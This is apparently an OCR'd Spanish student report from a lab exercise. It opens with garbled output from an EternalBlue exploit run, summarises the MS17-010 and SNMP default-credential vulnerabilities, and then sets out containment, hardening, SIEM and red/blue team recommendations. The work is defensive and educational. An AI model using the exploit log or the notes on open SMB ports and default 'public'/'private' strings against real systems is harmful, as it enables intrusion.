Ox00000020 69 63 65 61 63 6b ze 31
Target arch selected for arch indicated
i ploit with 17 Groom Allocations.
nding all but last fragment of exploit packet

tarting non-paged pool groeming
ending Bw2 buffers

ClLosing MBwv1l connection creating free hole adjacent to

by DCE/JRPC replwv

SMBw2 buffe

SMBvz2 buffers.

sSending last fragment of exploit packet!

Receiving response from exploit packet

ETERMNALBLUE overwrite completed successfully
nding egg to corrupted connection.

Triggering free of corrupted buffer.

Sending final

(OxXCO0OO0OD)!
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CVE-2016-0128

“se refiere a una falla de seguridad en Microsoft Windows, especificamente en el
componente Win32k.sys, que es parte del kernel del sistema operativo.

La vulnerabilidad permite a un atacante ejecutar cddigo arbitrario en modo kernel. Un
atacante que logre explotar esta vulnerabilidad podria instalar programas, ver, cambiar o eliminar
datos, o crear nuevas cuentas con todos los privilegios

Tipo de vulnerabilidad: Escalada de privilegios (Privilege Escalation), Requiere que un
atacante ejecute una aplicacion especialmente disefiada en el sistema vulnerable.” (NVD, 2025)
CVE-2017-0143

“es una falla critica en Microsoft Windows, relacionada con el protocolo SMBv1 (Server
Message Block version 1). Es una de las vulnerabilidades més peligrosas de la tltima década
debido a su uso en ataques globales como WannaCry.

Tipo: Ejecucion remota de cddigo (Remote Code Execution, RCE).

Componente afectado: SMBv1 (protocolo de red para compartir archivos e impresoras).

Descripcion: Permite a un atacante remoto ejecutar cédigo malicioso sin autenticacion,
simplemente enviando paquetes SMB especialmente disefiados a un sistema vulnerable.

Apodo del exploit: EternalBlue, desarrollado originalmente por la NSA vy filtrado por el
grupo Shadow Brokers.

Impacto: Control total del sistema afectado.” (NVD, 2025)

CVE-2017-0144

“también es parte del conjunto de fallos explotados por el famoso EternalBlue, igual que

CVE-2017-0143, y es una de las mas criticas de la historia reciente por su impacto masivo.

Tipo: Ejecucion remota de codigo (Remote Code Execution - RCE).
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Componente afectado: Microsoft SMBv1 server.

Vector de ataque: El atacante envia paquetes especialmente manipulados a través del
puerto TCP 445.

Explotacion publica: Si, usada en ataques reales

Impacto: Permite a un atacante ejecutar codigo con privilegios del sistema, No requiere
autenticacion

Un atacante puede aprovechar esta falla para ejecutar codigo arbitrario en la maquina
objetivo, lo que permite:

Propagacion automadtica entre equipos vulnerables.

Instalacion de ransomware o malware sin interaccion del usuario.” (NVD, 2025)
CVE-2017-0145

“es otra de las fallas incluidas en el famoso boletin MS17-010 de Microsoft, que corrige
multiples vulnerabilidades criticas en el protocolo SMBv1 (Server Message Block version 1). Esta
en particular también estéd relacionada con el conjunto de herramientas de la NSA filtradas por
Shadow Brokers.

Tipo: Ejecucion remota de cddigo (RCE).

Componente afectado: Microsoft Windows SMBv1 Server.

Vector de ataque: A través del puerto TCP 445, utilizando paquetes SMB malformados.

Severidad: Critica No requiere autenticacion para ser explotada.

Un atacante remoto podria: Ejecutar codigo arbitrario con privilegios de sistema.

Instalar programas, robar datos o controlar completamente el equipo afectado.

Propagarse lateralmente a otras maquinas en la red.” (NVD, 2025)
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CVE-2017-0146

“es parte del mismo conjunto de fallos descritos en el boletin de seguridad MS17-010, que
corrigio multiples vulnerabilidades criticas en el protocolo SMBv1 (Server Message Block version
1) de Microsoft Windows. Aunque menos conocida que CVE-2017-0143 o 0144, también es
peligrosa.

Tipo: Divulgacion de informacion (Information Disclosure).

Vector de ataque: Remoto, a través de paquetes SMB especialmente disefiados.

Severidad: Importante, aunque no tan critica como las de ejecucion de codigo. No requiere
autenticacion para explotarse.

Esta vulnerabilidad permite a un atacante remoto obtener informacion del sistema afectado,
como: Fragmentos de la memoria del kernel, Datos internos del sistema que pueden ayudar a
desarrollar exploits mas peligrosos (por ejemplo, para escalada de privilegios o RCE), Detalles
que pueden ayudar a evadir protecciones (como ASLR).” (NVD, 2025)
CVE-2017-0147

“es otra de las siete fallas incluidas en el boletin MS17-010 de Microsoft, todas
relacionadas con el protocolo SMBvI (Server Message Block version 1). Aunque no es tan
ampliamente conocida como CVE-2017-0143 (EternalBlue), sigue siendo significativa.

Tipo: Remote Code Execution (RCE) — Ejecucion remota de codigo.

Vector de ataque: Remoto, a través de paquetes SMB manipulados.

Severidad: Critica.

Requiere autenticacion: No.

Puerto implicado: TCP 445.
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Un atacante remoto sin necesidad de credenciales puede: Ejecutar codigo arbitrario en el
sistema afectado, obtener control total del dispositivo y usar el sistema como punto de entrada para
comprometer toda la red.” (NVD, 2025)

CVE-2017-0148

“es la ultima del conjunto de siete vulnerabilidades corregidas por Microsoft en el boletin
de seguridad MS17-010, todas relacionadas con el protocolo SMBv1 de Windows. A diferencia
de otras como EternalBlue (CVE-2017-0143), esta vulnerabilidad se clasifica como una falla de
validacion de entrada que puede llevar a ejecucion remota de codigo.

Tipo: Ejecucion remota de cddigo (Remote Code Execution - RCE).

Severidad: Critica.

Vector de ataque: Un atacante remoto puede enviar paquetes SMB manipulados al servidor
vulnerable.

Requiere autenticacion: No.

Un atacante remoto puede: Ejecutar cdigo arbitrario con los privilegios del sistema, tomar
control completo del equipo afectado y usar el sistema comprometido como punto de entrada para
ataques en la red interna.” (NVD, 2025)

CVE-2011-0657

“afecta a Microsoft Internet Explorer y fue publicada en 2011. A continuacion, te detallo
los aspectos clave:

Tipo: Corrupcion de memoria (Memory Corruption) puede derivar en Ejecucion remota de
codigo (RCE).

Severidad: Critica
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Descripcion: La vulnerabilidad se encuentra en la forma en que IE procesa contenido web
(por ejemplo, al renderizar ciertos elementos HTML o JavaScript).

Un atacante puede disefiar una pagina web maliciosa que, al ser visitada por la victima,
provoque corrupcion de memoria lo cual puede permitir la ejecucion de codigo arbitrario con los
privilegios del usuario que ejecuta el navegador”. (NVD, 2025)

CVE-1999-0524

“es una de las entradas mas antiguas del catdlogo CVE y describe una configuracion
insegura en servicios de red. No se refiere a un error de software especifico, sino a una mala
configuracion de seguridad.

Tipo: Weak Security Configuration / Misconfiguration

Componente afectado: SNMP (Simple Network Management Protocol)

Severidad: Media a alta, dependiendo del entorno.

Descripcion:

El sistema tiene habilitado el protocolo SNMP y utiliza una cadena de comunidad
(community string) predeterminada o conocida, como:

"public" (solo lectura)

"private" (lectura/escritura)

SNMP se usa para administrar y monitorear dispositivos de red (switches, routers,
servidores).

Si se dejan las credenciales por defecto (como "public"), un atacante puede: Ver
informacion sensible del sistema (IP, usuarios, procesos, etc.), en algunos casos, modificar
configuraciones si tiene acceso de escritura ("private"), Usar esta informacion para lanzar ataques

mas avanzados (por ejemplo, escalada o movimientos laterales en la red)” (NVD, 2025)
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Etapa 4 Contencion de ataques informaticos
JQué seria lo primero que indagaria y haria si llegara a encontrarse un ataque en tiempo real?
Especifique su respuesta con argumentos técnicos.

Al evidenciar un ataque en tiempo real sobre el equipo Windows analizado en el anterior
informe por tal motivo los pasos a seguir serian los siguientes:
Aislar el sistema comprometido:

Esta accion de desconectar el computador de la red fisica o deshabilitar su red desde el
administrador del sistema, esto lo realizaria dado que en el informe de vulnerabilidades dos de
ellos CVE-2017-0143 y CVE-2017-0144, da vulnerabilidad a multiples ataques remotos ya que
este permite ejecucion remota de cddigo sin autenticacion, esto implicaria que podrian controlar
el sistema completamente y replicar al ataque a otros equipos si no se contiene de manera
inmediata. (NVD, 2025)

Recolectar evidencia:

Recolectar informacién critica como conexiones de red activas, sesiones abiertas y
procesos de ejecucion antes de reiniciar o apagar el computador para esto utilizaria comandos
como netstat -ano (estadisticas de red) ya que este c6digo me permite visualizar las conexiones
activas, entrantes como salientes, los estados de los puertos y las interfaces de red. (IBM, 2025)

Ya que los ataques como EternalBlue (explotacion SMB) implica cargas utiles cargadas a
memoria podria capturar evidencia volatil, procesos sospechosos y posibles indicadores de
compromiso. (Burdova, 2020)

Andlisis de log del sistema:
Revisar los eventos recientes en el visor de eventos de Windows, directamente en los

registros de seguridad, sistemas y aplicaciones. Dado que las vulnerabilidades detectadas podrian



38

haber sido explotadas sin interaccion del usuario. El analisis de los eventos podria revelar intentos
de accesos remoto, instalacion de servicios maliciosos o modificaciones en la configuracion del
sistema

Verificar la integridad del sistema:

Realizar una comparacion del estado actual del sistema como una linea base confiable y
ejecutar herramientas de deteccion de rootkits o malware. Dado que el informe anterior sefala
vulnerabilidades que permiten al atacante instalar programas, eliminar datos o crear cuentas (CVE-
2016-0128) esto hace necesario verificar si se han introducidos cambios en archivos criticos del
sistema. (NVD, 2025)

Evaluaciones de vulnerabilidades explotadas:

Realizar identificacion de las vulnerabilidades conocidas que fueron utilizadas. Dado que

en el informe anterior las multiples vulnerabilidades criticas, conocer cuales fueron explotadas

permite priorizar acciones correctivas especificas.

. Teniendo en cuenta el ataque ejecutado desde el ejercicio de RedTeam, qué medidas de
hardenizacion propondria para que el ataque no se repita?

Dado que CyberFort Technologies con su equipo BlueTeam considera que las medidas de
hardenizacion deberian enfocarse en cerrar brechas conocidas, eliminar configuraciones obsoletas
y reducir la superficie d ataque de la siguiente manera: (ISN, 2025)

Actualizacion o remplazo de sistemas operativo:
Migrar de Windows 7 a una version soportada como Windows 10 o 11 que tiene activas

sus actualizaciones.
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Deshabilitar el protocolo SMBvl1

Eliminar el soporte SMBv1 desde las caracteristicas de sistemas o mediante "PowerShell.
Este protocolo es obsoleto, inseguro y fue el vector principal del ataque.
Aplicar parches de seguridad y actualizaciones del sistema:

Es necesario establecer un sistema de actualizaciones automatizado o centralizado como
por ejemplo WSUS (Windows Server Update Services).
Configurar y reforzar politicas de firewall:

Tomar medidas como bloquear puestos de red innecesario como, por ejemplo

e Puerto TCP 445 (SMB)
e Puerto UDP 137/138, TCP 139 (NetBIOS)

Dado que el ataque fue posible por el acceso libre a estos puertos, limitar el puerto reduce
drasticamente las vias de entrada para ataques remotos.
Modificar configuraciones inseguras en servicios SNMP

Cambiar las configuraciones que estan por defecto, aplicar listas de comunicaciones de
control de acceso y si es necesario usar SNMPv3
Deshabilitar servicios y funciones innecesarias

Revisar o detener servicios como: Telnet, servicios de escritorio remoto y comparticiones
innecesarias de red. Ya que estas representan una posible entrada al sistema.
Implementar control de aplicaciones y listas blancas

Implementar la utilizacién de herramientas como Applocker con esto se lograria que

aplicaciones no autorizadas se ejecuten incluso si logran ingresar al sistema.
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Monitoreo y deteccion de intrusos

Realizar implementaciones como Microsoft Defender for Endpoint que analice eventos de
seguridad.

JDescriba con sus palabras las diferencias entre un equipo Blueteam y un equipo de
respuesta a incidentes informaticos?

Las diferencias entre un BlueTeam y un equipo de respuestas a incidentes informaticos (IR
Team) es complejo dado que los dos equipos tiene objetivos entrelazados pero no son lo mismo,
las principales diferencias podrian ser, que el equipo BlueTeam se centra en la proteccion continua
de una organizacién y el IR Team estd més orientado a mitigar incidentes de seguridad una vez
que ocurren, pero también el BlueTeam realiza tareas como configuracion de IDS/IPS, firewall y
parches de seguridad aparte de auditorias de vulnerabilidades y capacitacion a empleados mientras
en el IR Team se activa durante un incidente y sigue un proceso estructurado. El BlueTeam opera
de manera continua y trabajan a largo plazo, pero el IR Team actia de manera especifica y temporal
y la principal diferencia es que el IR Team entra a trabajar cuando las defensas del BlueTeam son
superadas.

(Si dentro de un equipo Blueteam le indican que debe trabajar con CIS; “Center For
Internet Security”, usted lo utilizaria para qué fin?

Si una de las indicaciones al BlueTeam es que se debe trabajar con CIS lo utilizaria
principalmente para aplicar guias de hardenizacion y mejores practicas de seguridad
estandarizadas:

Endurecer la hardenizacion de sistemas y configuraciones
Para deducir el area de ataques en los sistemas operativos, aplicaciones y dispositivos de

red
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Establecer una linea base de seguridad

Esto para definir una configuracion segura minima para servidores y estaciones de trabajo
Establecer el cumplimento

Esto para verificar si los sistemas cumplen con estandares de seguridad conocidos
Facilitar la respuesta ante auditorias externas

Esto se hace para que la organizacion sigue estandares internacionales de seguridad
Automatizar la seguridad desde el despliegue

Integrar las recomendaciones CIS en plantillas de configuracion
Todo esto se hace para implementar y mantener configuraciones seguras como guia técnica
confiable. (CalCom, 2025)

Explique y redacte las funciones y caracteristicas principales de lo que es un SIEM.

Las funciones y caracteristicas principales de SIEM cuyo propdsito principal es
proporcionar una vision centralizada y en tiempo real de la seguridad de una organizacién son:
Recoleccion y centralizacion de logs:

Recopila registros de eventos logs desde multiples dispositivos y sistemas en tiempo real
para centralizarlos en una tnica plataforma facilitando su gestion y analisis.

Correlacion y anadlisis de eventos:

Utilizas reglas predefinidas, algoritmos de machine learning y analisis de comportamiento
para correlacionar eventos aparentemente inconexos y detectar patrones que indique posibles
amenazas.

Deteccion de amenazas en tiempo real:
Monitorear continuamente los eventos y generar alertas inmediatas cuando detectan

actividades sospechosas para que lo equipos BlueTeam reacciones rapidamente a incidentes.
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Respuesta a incidentes:

La idea es facilitar la investigacion a incidentes al proporcionar herramientas para retrasar
el origen, impacto y cronologia de un evento de seguridad.
Gestion de cumplimiento normativo:

Generar reportes y auditorias detalladas para demostrar el cumplimiento con regulaciones
y estandares de seguridad.

Analisis forense:

Lo que se espera es proporcionar capacidades para realizar investigaciones post -
incidentes, permitiendo a los analistas reconstruir eventos, identificacion de la causa raiz del ataque
y recopilar evidencia para acciones legales.

Visualizacion y reportes

Creacion de dashboards para mostrar el estado de las seguridad, tendencias y métricas
claves (IBM, 2025)

Defina por lo menos 3 herramientas de contencion de ataques informaticos “hardware o
software”, recuerde que las herramientas de contencion son diferentes a las herramientas de
deteccion

PfSense

es una solucion de firewall y enrutador, que se utiliza para gestionar trafico de red y aplicar
politicas de seguridad estrictas

e alistamiento de redes
e bloqueo de trafico malicioso

e limitaciones de acceso (pfSense, 2025)
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Fail2Ban
Es una herramienta disefiada para proteger servidores contra ataques de fuerza bruta y otros
intentos maliciosos al analizar logs y aplicar reglas de bloqueo automatica
e Bloque automatico de IPs maliciosas
e Reduccién de impacto
e Respuesta dinamica (Ken Hess, 2020)
OPNsense
Es un firewall y enrutador de cddigo abierto que permite crear zonas de red aisladas,
bloqueo de trafico y permite limitar conexiones entrantes y salientes
e Segmentacion de red
e Filtrado de trafico
e Gestion de accesos (OPNsense, 2025)
Etapa 5 socializacion de informe técnico
Aspectos que aporten al desarrollo de estrategias de RedTeam & BlueTeam
Aspectos que presento a continuacion son claves para el desarrollo y fortalecimiento de
estratégicos Red Team y Blue Team
RedTeam (Ataque / simulacion)
Lograr simulaciones de ataques reales con el fin de evaluar la postura de seguridad de la
organizacion desde la perspectiva de un antagonista.
1. Planificacion y alcance:
En la primera etapa es necesario establecer los limites, objetivos y expectativas de
las pruebas de penetracion. Definir que se va a avaluar (redes o sistemas), y sus

objetivos especificos ejemplo accesos a bases de datos, filtracion informacion
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financiara), que acciones estan permitidas y cuales no, un cronograma y los
entregables del proyecto.
2. Reconocimiento y recoleccion de informacion:
Realizar investigacion pasiva dsea sin interaccion directa y luego una investigacion
activa con interaccion controlada para identificar vectores de ataques potenciales,
la idea es buscar informacion sobre la organizacion objetivo como:
e Identificacion de servicios y puertos abiertos
e Descubrimiento de subdominios y direcciones IP
e Informacion sobre empleados
e tecnologias utilizadas.
3. Modelado de Amenazas y planificacion de ataques:
Al tener la informacion recopilada, se evaliia vectores que son mas probables o criticos
para lograr los objetivos. Se planea las técnicas a utilizar, emulando el comportamiento
de adversarios reales.
4. simulacion de ataques realistas y ejecucion de tacticas técnicas y
procedimientos (TTPs):
El RedTeam ejecuta los TTPs planeados para lograr comprometer los sistemas y
alcanzar los objetivos. Esto va mas alld de solo encontrar vulnerabilidades, busca
explotarlas de manera controlada y demostrar el impacto. (VPN Unlimited, 2025)
5. Evasion de defensas:
Un RedTeam efectivo debe ser capaz de eludir las soluciones seguridad existente de
las organizaciones para probar que tan fuertes son.

6. Uso de herramientas avanzadas:
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El RedTeam utiliza herramientas especializadas para llevar a cabo sus simulaciones de
manera efectiva.
7. Reporte con enfoque constructivo:
El objetico principal del RedTeam no es “ganar”, si no ayudar el BlueTeam a mejorar
un informe detallado es el entregable mas importante.
BlueTeam (defensa y respuesta a incidentes)
Lograr detectar, responder y mitigar ataques en curso y futuros, protegiendo los activos de
las empresas u organizaciones.

1. Monitoreo continuo y visibilidad completa:
Una visibilidad de lo que ocurre en todos los activos de informacion es fundamental
para detectar actividades sospechosas en tiempo real.
2. Deteccion basada en comportamientos y correlacion de eventos:
Aun mas alla de las firmas, el BlueTeam busca patrones de comportamiento anomalos
que puedan indicar un ataque.
3. Gestion de vulnerabilidades proactivas y fortalecimiento:
Lograr identificar y corregir vulnerabilidades antes de que sean explotadas reduce
drésticamente el area de ataques.
4. Respuesta a incidentes:
Contar con un plan de acciones bien definido y ensayado para cuando ocurra un
incidente de seguridad.
5. Caza de amenazas:
Realizar una busqueda proactiva y manual de amenazas que han podido eludir los

sistemas de deteccidon automatizados.
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6. Seguridad en profundidad:
Lograr no depender de una unida linea de defensa, si no implementar multiples capas
de seguridad para ralentizar y dificultar el avance de un atacante.
7. Inteligencia de amenazas
Conocer las amenazas mas relevantes para la organizacion, incluyendo los TTPs de los
atacantes. Las vulnerabilidades emergentes y los vectores de ataque comunes,
permitirian al BlueTeam priorizar sus defensas e implementar o crear contramedidas
proactivas.
Aspectos comunes y de colaboracion (Purple teaming)
Lograr mejorar la comunicacion y el aprendizaje continuo de RedTeam y BlueTeam,
optimizando la postura de seguridad de las organizaciones.

1. Simulacion conjuntas y ejercicios (purple Team)
Al realizar estos ejercicios fusionan las capacidades del RedTeam y BlueTeam en
tiempo real. Al hacer que el RedTeam ejecute TTPs especificos mientras el BlueTeam
intenta detectarlos y responder. Esto permitiria un ajuste y mejorar inmediatamente las
herramientas, reglas y procesos de defensa (Picus Security, 2025)
2. Evaluaciones basadas en MITRE&ATTA
Tener en cuenta que al proporcionar un lenguaje en comin y una metodologia
estandarizada para evaluar la capacidad de deteccion contra TTPs de adversarios reales
(MITRE ATT&CK, 2025).
3. Automatizacion de ataques/ deteccion para pruebas
Permite probar y lograr validar la efectividad de los controles de forma repetible y a

escala.



47

4. KPIs (Key Performance Indicators) y métricas de seguridad claros:
Medir el rendimiento de ambos equipos y la mejora general con respecto a la seguridad
de las empresas u organizaciones (Sydle, 2023).
5. Cultura y mejora continua y “Lessons Learned”:
Cada ejercicio de RedTeam, cada incidente real, debe ser una oportunidad para
aprender y mejorar
Recomendaciones y estrategias para endurecer los aspectos de seguridad en una
organizacion

Aunque el endurecimiento (hardening) de la seguridad en una organizacidon o empresa es
un proceso continuo requiere de una estrategia bien definida por eso se plantean una serie de
recomendaciones claves para planear estrategias en el endurecimiento de la seguridad de las
organizaciones
Evaluacion y establecimiento de una linea base

Diagnostico integral de la postura actual: antes de endurecer, primera se debe saber donde
se esta, realizar una evaluacion completa de la seguridad actual incluyendo auditorias de seguridad,
pruebas de penetracion, escaneos de vulnerabilidad, andlisis de la configuracion de sistemas y
revision de politicas existentes.

Identificacion de activos criticos y priorizacion de riesgos: ya que no todos los activos
tienen el mismo valor. Identificar cuales son los datos, sistemas y procesos mas criticos para la
operacion y mision de la organizacion. Para después priorizar los riesgos asociados a estos activos.

Definicidn de objetivos de seguridad claros y medibles: establecer metas claras y medibles

con plazos definidos para el endurecimiento.
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Estrategias de endurecimiento técnico

Implementacion de politicas de hardening de configuracion: establecer estandares de
configuracion segura en los sistemas operativos, bases de datos y dispositivos de red. Esto incluye
deshabilitar servicios innecesarios, cambiar contrasefias predeterminadas y aplicar principios de
minimo privilegio.

Gestion proactiva de vulnerabilidades y parcheo: crear un ciclo de vida robusto para la
gestion de las vulnerabilidades, escaneo regular, priorizacion de vulnerabilidades segun riesgos,
aplicacion de parches y verificacion de la correccion.

Segmentacion de red y microsegmentacion: divide la red en segmentos mas pequefios y
aislados limitando la comunicacion entre ellos.

Implementacion de autenticacion multifactor: exigir para todos los accesos de sistemas
criticos, VPN, servicios en nube y aplicaciones sensibles

Control de accesos basado en el rol (RBAC) y principios de minimo privilegio: otorgar a
los usuarios y sistemas solo los permisos necesarios para la realizacion de su trabajo. Revisando y
revocando periddicamente los privilegios.

Cifrado de datos en reposo y en transito: cifrar datos sensibles en almacenamiento y durante
la transmision.

Estrategias de endurecimiento y procesos y personas

Desarrollo e implementacion de politicas y procedimientos de seguridad: crear y actualizar

regularmente politicas de seguridad que abarquen desde el uso de recursos hasta la gestacion de

contrasefias, la respuesta a incidentes y el uso de dispositivos personales.
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Programacion de conciencia y capacitacion continua en seguridad: realizar capacitaciones
regulares sobre seguridad para todo el personal, incluyendo temas de phishing, ingenieria social,
gestion de contrasefias y el manejo seguro de informacion.

Gestion de identidades y accesos (IAM) centradas: implementar sistemas centrados para
gestionar las identidades de los usuarios y sus derechos de accesos a todos lo recursos de la
empresa.

Planes de Respuesta a Incidentes (IR) y Continuidad del Negocio (BCP) Probados:
desarrollar planes detallados para detectar, contener, y recuperase de incidentes de seguridad.

Auditorias de Seguridad Regulares e Independientes: contratar a terceros independientes
para realizar auditorias de seguridad periodicas.

Integracion y mejora continua

Adopcién de un marco de Ciberseguridad (NIST CSF, ISO 27001): implementar un marco
de ciberseguridad reconocido internacionalmente para estructurar el programa de seguridad de la
empresa u organizacion.

Cultura de seguridad en toda la organizacion: fomentar la cultura donde la seguridad es

responsabilidad de todos desde la alta direccion hasta el empleado de menor rango.

Conclusiones Clave para la Construccion del Conocimiento en Ciberseguridad

La ciberseguridad en un campo dindmico y de aprendizaje continuo: dado que las amenazas
de ciberseguridad estan en constante evolucion, con nuevos vectores de ataque, malwares y
técnicas de ingenieria social saliendo continuamente, esto exige que el conocimiento en

ciberseguridad nos sea un estado final, lo contrario es un proceso de aprendizaje, adaptacion y
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actualizacion permanente, esto hace que se deba tener una mentalidad de estudiante perpetuo
invirtiendo en formacion continua.

El conocimiento debe ser holistico 6sea mas alla de lo técnico: si es cierto las habilidades
técnicas son fundamentales el conocimiento efectivo en ciberseguridad se construye integrando
aspectos legales, éticos, de procesos de negocios y comportamiento humano. Es necesario
desarrollar una comprension interdisciplinaria donde los expertos en ciberseguridad entiendan el
impacto de sus decisiones en el negocio y viceversa.

La colaboracion entre los equipos es el pilar de la mejora continua: la efectividad de un
programa de ciberseguridad no se mide por la fortaleza de una sola persona o un solo equipos bien
sea el BlueTeam o el Redteam. La interaccion constante, retroalimentacion y los ejercicios de
purple team son muy importantes para la identificacion de brechas y mejorar las estrategias de
defensa ya que el conocimiento se construye colectivamente.

El enfoque en procesos y politicas endurecen la postura de seguridad: las mejores
herramientas y tecnologias no son eficaces sin politicas y procedimientos claros. El
endurecimiento de los sistemas de proteccion requiere la aplicacion de estandares, auditorias
continuas y una cultura de seguridad.

La ciberseguridad es una responsabilidad compartida y social. Dado que la proteccion de
datos y la seguridad informética no recaen unicamente en los equipos de seguridad de la
informacion. Cada usuario desde el gerente hasta el empleado de mas bajo rango son un posible
vector de ataque y un punto de defensa. La conciencia y la educacion son herramientas poderosas

para mitigar los riesgos.
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Enlace video informe Técnico

https://drive.google.com/drive/folders/1 8vSmtUuxqAFBXyv86POyvzYUKBi9OT2w

2usp=drive link



https://drive.google.com/drive/folders/1_8v5mtUuxqAFBXyv86PQyzYUKBi9OT2w?usp=drive_link
https://drive.google.com/drive/folders/1_8v5mtUuxqAFBXyv86PQyzYUKBi9OT2w?usp=drive_link
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Conclusiones

Se logro identificar el analisis de vulnerabilidades mediante Nessus para reconocer las
multiples vulnerabilidades criticas. Este ejercicio permitio no solo entender una parte del ciclo del
pentesting, sino también dimensionar el impacto real que tendria un ataque sobre la infraestructura
tecnologica comprometida.

El analisis del marco legal colombiano, en particular las leyes 1273 de 2009 y 1581 del
2012, permitido comprender la importancia de actuar conforme a principios €ticos y normativos
durante cualquier actividad por la legalidad informatica. Se resalta que el conocimiento técnico
debe estar respaldado por la legalidad, ademas el derecho de las personas por la proteccion de
datos personales y la privacidad.

Se disefiaron y propusieron medidas de contencion y estrategias de hardening como
respuesta a las vulnerabilidades detectadas en el entorno virtual. Estas incluyeron la actualizacion
de sistemas operativos obsoletos, la desactivacion de protocolos inseguros como SMBvl, la

implementacion de controles de acceso y segmentacion de red.
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Recomendaciones

Fortalecer la formacion continua en ciberseguridad ofensiva y defensiva, promoviendo
gjercicios practicos en entornos controlados que involucren metodologias de RedTeam y
BlueTeam, con el fin de preparar profesionales frente a amenazas reales.

Actualizar y mantener los sistemas informaticos con parches de seguridad y
configuraciones endurecidas, especialmente en entornos corporativos.

Establecer politicas organizacionales claras sobre el tratamiento de datos personales, en
cumplimiento con las leyes colombianas, incluyendo capacitacion constante en ética y legalidad
para todo el personal no solo el TI.

Fomentar la colaboracion entre equipos técnicos mediante estrategias de purple team,
donde se promueva el trabajo el equipo para asi mejorar los tiempos de deteccion y respuestas
frente a amenazas.

Incluir clausulas contractuales éticas en los servicios de ciberseguridad, que permitan

asegurar el respeto por la privacidad, la integridad de los daros y el derecho a la denuncia.
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